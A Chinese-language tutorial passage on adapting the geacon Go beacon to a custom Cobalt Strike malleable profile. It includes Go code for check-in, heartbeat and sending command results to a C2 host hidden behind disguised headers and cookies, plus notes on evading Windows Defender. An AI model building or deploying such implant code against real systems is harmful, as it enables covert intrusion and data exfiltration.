0x01 geacon
上一节中,我们已经比较了geacon与crossc2的优劣,选择了geacon。本节我们就具体修改geacon,适配自定义profile和杀软测试。
根据readme编译beacontool,解析配置的公私钥对:
修改config.go中的公钥与C2地址,私钥不用填。安装编译geacon,测试:
可以发现正常上线,也没有被检测杀掉程序,在windows 10 defender下测试也是正常上线。
0x02 http通信
要适配profile的不同通信请求,我们先看看geacon中通信基本的三个组成部分,通信流程使用伪代码表示:
ok = FirstBlood() #第一次上线
if ok:
while true:
resp = PullCommand() #心跳
if resp:
cmdtype = decrypt(resp) #获取到要执行的任务
if cmdtype is shell: #判断任务类型
buf = triggerShell(cmd) #执行对应使用golang自实现的函数
PushResult(buf) #将结果发送到C2
从通信流程就可以看出来,整个通信主要在自己开发对应CS的功能,比如execute-assembly,由于CS采用fork方式不用担心beacon进程异常退出,dll 反射可以方便使用现有dll实现不同功能。
1.FirstBlood
func FirstBlood() bool {
encryptedMetaInfo = EncryptedMetaInfo()
for {
resp := HttpGet(config.GetUrl, encryptedMetaInfo)
if resp != nil {
fmt.Printf("firstblood: %v\n", resp)
break
}
time.Sleep(500 * time.Millisecond)
}
time.Sleep(config.WaitTime)
return true
}
收集本机信息,RSA加密数据,get方式请求传输。
2.PullCommand
func PullCommand() *req.Resp {
resp := HttpGet(config.GetUrl, encryptedMetaInfo)
fmt.Printf("pullcommand: %v\n", resp.Request().URL)
return resp
}
通过get方式一直保持心跳。
3.PushResult
func PushResult(b []byte) *req.Resp {
url := config.PostUrl + strconv.Itoa(clientID)
resp := HttpPost(url, b)
fmt.Printf("pushresult: %v\n", resp.Request().URL)
return resp
}
加密命令执行得到的结果发送到C2,不需要获取response。
0x03 自定义profile
我就选择此profile作为演示,我们根据官网手册手动翻译请求参数:
1.get请求
Client:
uri:/5aq/XP/SY75Qyw.htm
header:
"Accept":""*/*"
"Host":"fukuoka.cloud-maste.com"
"Connection":"Keep-Alive"
"Cache-Control":"no-cache"
cookie:CzFc6k28XGpZ=传输的数据
Server:
Beacon需要根据字符串提取CS下发的指令执行
添加header,把数据放入到cookie中,修改对应http.go中的Get请求与Post请求。
2.post请求
uri:/RCg/vp6rBcQ.htm
header:
"Accept":""*/*"
"Host":"fukuoka.cloud-maste.com"
"Connection":"Keep-Alive"
"Cache-Control":"no-cache"
cookie:hmr2In1XD14=传输的数据
这里还有一个ID值在URL的参数c中,由beacon生成,对应不同task:
id {
base64url;
parameter "c";
}
这里解释下base64url,base64:
base64编码后结果中有+、/、=这种在url中属于特殊字符无法传递,所以会对结果进行替换。
base64url其实就是把字符+和/分别变成-和_,末尾=号去掉。
在golang中分别对应4个base64函数:
StdEncoding:常规编码
URLEncoding:URL safe 编码
RawStdEncoding:常规编码,末尾不补 =
RawURLEncoding:URL safe 编码,末尾不补 =
0x04 总结
我也才接触golang不久,主要通过阅读代码整个程序逻辑以及函数功能,geacon实现了CS整个通信流程,编写对应加解密代码,对原项目进行优化,整个项目代码会在下一章公布出来。